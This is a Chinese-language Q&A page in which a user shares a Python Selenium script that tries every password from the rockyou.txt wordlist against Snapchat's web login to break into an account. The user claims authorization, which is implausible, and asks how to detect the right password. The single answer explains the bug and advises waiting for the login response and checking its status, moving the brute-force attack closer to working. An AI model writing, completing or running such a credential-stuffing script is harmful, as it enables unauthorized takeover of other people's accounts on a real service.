我怎样才能用python暴力破解一个网站?

问题描述 投票:0回答:1

所以我是计算机安全的初学者,我接受了破解 Snapchat 帐户的挑战(当然需要授权)。但我开始使用 selenium 库制作一个脚本,但我的代码始终只显示列表中的最新密码,而不是正确的密码。那么有没有人可以帮助我,我向你保证我没有恶意。对于那些询问正确密码并在密码列表中的人。但我想知道的是如何检查密码是否正确,因为我没有一行带有 seleniul 的代码可以让我做到这一点。

import selenium
import tqdm
from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from tqdm import tqdm
def Password_Cracking():
    driver = webdriver.Chrome()
    passwords = []
    for lijn in open("rockyou.txt"):
        passwords.append(lijn.strip())


    driver.get("https://www.snapchat.com/")

    eml =WebDriverWait(driver, 20).until(EC.presence_of_element_located((By.CLASS_NAME, 'sidebar_input__lkly9')))
    eml.send_keys("")
    button =WebDriverWait(driver, 200).until(EC.element_to_be_clickable((By.CSS_SELECTOR, 'button.ColoredButton_blueButton__IeoF4.buttons_sdsButton__57EIz')))
    button.click()
    print(driver.page_source)
    button3 =WebDriverWait(driver, 200).until(EC.element_to_be_clickable((By.CSS_SELECTOR, 'button.sdsm-button.button-compact.button-primary.css-1jxg2jk')))
    password =driver.find_element(By.ID,'password')
    for lijn in tqdm(passwords):
       try:
          password.clear()
          password.send_keys(lijn)
          button2 =driver.find_element(By.ID, "password-submit-button")
          button2.click()
          



       except:
          pass
    return (lijn)
    print(lijn)



Password_Cracking()



所以除了找到正确的密码之外,我几乎做了所有的事情。但一个大问题是我不知道如何使用 selenium 告诉我的代码该密码是否正确。

python selenium-webdriver brute-force
1个回答
0
投票

这里:

    for lijn in tqdm(passwords):
       try:
          password.clear()
          password.send_keys(lijn)
          button2 =driver.find_element(By.ID, "password-submit-button")
          button2.click()
          



       except:
          pass
    return (lijn)

您循环浏览密码,单击每个密码的按钮并返回最后一个密码。在

try
内,您需要检查它是否正确。诀窍在于,当您单击按钮时,结果可能不会立即准备好,因此您需要等待响应。您可以像您一样通过
WebDriverWait
FluentWait
执行显式等待,请在此处查看更多信息:https://www.browserstack.com/guide/wait-commands-in-selenium-webdriver

另请阅读:如何让 Selenium/Python 等待用户登录后再继续运行?

您没有提供太多关于您要暴力破解的网站的信息,因此如何获知登录是否成功取决于您,但这肯定涉及尝试登录、等待响应和检查状态。

© www.soinside.com 2019 - 2024. All rights reserved.